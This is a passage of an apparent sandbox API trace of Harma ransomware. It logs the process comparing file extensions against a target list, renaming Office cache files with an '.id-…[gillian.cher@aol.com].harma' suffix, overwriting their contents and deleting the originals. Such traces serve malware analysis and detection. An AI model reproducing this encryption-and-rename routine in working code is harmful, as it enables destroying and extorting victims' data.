77 [0053.857] lstrlenW (lpString=".dbf") returned 4 [0053.857] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.857] lstrlenW (lpString=".1cd") returned 4 [0053.857] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.857] lstrlenW (lpString=".jpg") returned 4 [0053.858] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.858] lstrlenW (lpString=".doc") returned 4 [0053.858] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.858] lstrlenW (lpString=".docx") returned 5 [0053.858] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.858] lstrlenW (lpString=".pdf") returned 4 [0053.858] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.858] lstrlenW (lpString=".xls") returned 4 [0053.858] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.858] lstrlenW (lpString=".xlsx") returned 5 [0053.858] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.858] lstrlenW (lpString=".ppt") returned 4 [0053.858] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.858] lstrlenW (lpString=".zip") returned 4 [0053.858] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.858] lstrlenW (lpString=".rar") returned 4 [0053.858] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.858] lstrlenW (lpString=".bz2") returned 4 [0053.858] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.858] lstrlenW (lpString=".7z") returned 3 [0053.858] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.859] lstrlenW (lpString=".dbf") returned 4 [0053.859] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.859] lstrlenW (lpString=".1cd") returned 4 [0053.859] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0053.859] lstrlenW (lpString=".jpg") returned 4 [0053.859] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.859] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0053.859] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0053.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.109] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=2511872) returned 1 [0054.109] CloseHandle (hObject=0x1ec) returned 1 [0054.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0054.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.109] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0054.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.110] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0054.110] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0054.110] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.124] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0054.124] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.136] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.136] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0054.136] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.389] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.389] WriteFile (in: hFile=0x1ec, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0054.408] SetEndOfFile (hFile=0x1ec) returned 1 [0054.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0054.535] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0054.535] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.554] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0054.554] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.560] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0054.560] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0054.564] CloseHandle (hObject=0x1ec) returned 1 [0054.564] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.565] lstrlenW (lpString=".doc") returned 4 [0054.565] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.565] lstrlenW (lpString=".docx") returned 5 [0054.565] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.565] lstrlenW (lpString=".pdf") returned 4 [0054.565] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.565] lstrlenW (lpString=".xls") returned 4 [0054.565] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.565] lstrlenW (lpString=".xlsx") returned 5 [0054.565] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.565] lstrlenW (lpString=".ppt") returned 4 [0054.565] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.565] lstrlenW (lpString=".zip") returned 4 [0054.565] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.565] lstrlenW (lpString=".rar") returned 4 [0054.565] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.565] lstrlenW (lpString=".bz2") returned 4 [0054.565] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.565] lstrlenW (lpString=".7z") returned 3 [0054.565] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.565] lstrlenW (lpString=".dbf") returned 4 [0054.565] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.565] lstrlenW (lpString=".1cd") returned 4 [0054.565] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.566] lstrlenW (lpString=".jpg") returned 4 [0054.566] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.566] lstrlenW (lpString=".doc") returned 4 [0054.566] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.566] lstrlenW (lpString=".docx") returned 5 [0054.566] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.566] lstrlenW (lpString=".pdf") returned 4 [0054.566] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.566] lstrlenW (lpString=".xls") returned 4 [0054.566] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.566] lstrlenW (lpString=".xlsx") returned 5 [0054.566] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.566] lstrlenW (lpString=".ppt") returned 4 [0054.566] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.566] lstrlenW (lpString=".zip") returned 4 [0054.566] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.566] lstrlenW (lpString=".rar") returned 4 [0054.566] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.566] lstrlenW (lpString=".bz2") returned 4 [0054.566] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.566] lstrlenW (lpString=".7z") returned 3 [0054.566] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.566] lstrlenW (lpString=".dbf") returned 4 [0054.566] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.566] lstrlenW (lpString=".1cd") returned 4 [0054.566] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0054.567] lstrlenW (lpString=".jpg") returned 4 [0054.567] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.567] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0054.567] lstrlenW (lpString="dwintl20.dll") returned 12 [0054.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.567] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=107912) returned 1 [0054.568] CloseHandle (hObject=0x1ec) returned 1 [0054.568] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0054.568] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.568] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.568] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.630] GetLastError () returned 0x0 [0054.630] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x1a588, lpOverlapped=0x0) returned 1 [0054.719] WriteFile (in: hFile=0x170, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0054.721] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0054.721] WriteFile (in: hFile=0x170, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.722] SetEndOfFile (hFile=0x170) returned 1 [0054.722] CloseHandle (hObject=0x170) returned 1 [0054.722] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.722] SetEndOfFile (hFile=0x1ec) returned 1 [0054.723] CloseHandle (hObject=0x1ec) returned 1 [0054.723] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.724] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0054.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.724] lstrlenW (lpString=".doc") returned 4 [0054.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.724] lstrlenW (lpString=".docx") returned 5 [0054.724] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.724] lstrlenW (lpString=".pdf") returned 4 [0054.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.724] lstrlenW (lpString=".xls") returned 4 [0054.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.724] lstrlenW (lpString=".xlsx") returned 5 [0054.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.725] lstrlenW (lpString=".ppt") returned 4 [0054.725] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.725] lstrlenW (lpString=".zip") returned 4 [0054.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.725] lstrlenW (lpString=".rar") returned 4 [0054.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.725] lstrlenW (lpString=".bz2") returned 4 [0054.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.725] lstrlenW (lpString=".7z") returned 3 [0054.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.725] lstrlenW (lpString=".dbf") returned 4 [0054.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.725] lstrlenW (lpString=".1cd") returned 4 [0054.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.725] lstrlenW (lpString=".jpg") returned 4 [0054.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.725] lstrlenW (lpString=".doc") returned 4 [0054.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.726] lstrlenW (lpString=".docx") returned 5 [0054.726] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.726] lstrlenW (lpString=".pdf") returned 4 [0054.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.726] lstrlenW (lpString=".xls") returned 4 [0054.726] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.726] lstrlenW (lpString=".xlsx") returned 5 [0054.726] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.726] lstrlenW (lpString=".ppt") returned 4 [0054.726] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.726] lstrlenW (lpString=".zip") returned 4 [0054.726] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.726] lstrlenW (lpString=".rar") returned 4 [0054.726] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.726] lstrlenW (lpString=".bz2") returned 4 [0054.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.726] lstrlenW (lpString=".7z") returned 3 [0054.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.726] lstrlenW (lpString=".dbf") returned 4 [0054.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.726] lstrlenW (lpString=".1cd") returned 4 [0054.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.726] lstrlenW (lpString=".jpg") returned 4 [0054.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.727] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0054.727] lstrlenW (lpString="dwtrig20.exe") returned 12 [0054.727] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.727] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=519584) returned 1 [0054.727] CloseHandle (hObject=0x1ec) returned 1 [0054.727] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0054.727] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.727] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.727] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.727] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.728] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.924] GetLastError () returned 0x0 [0054.924] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0054.936] WriteFile (in: hFile=0x200, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0054.950] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0054.950] WriteFile (in: hFile=0x200, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, 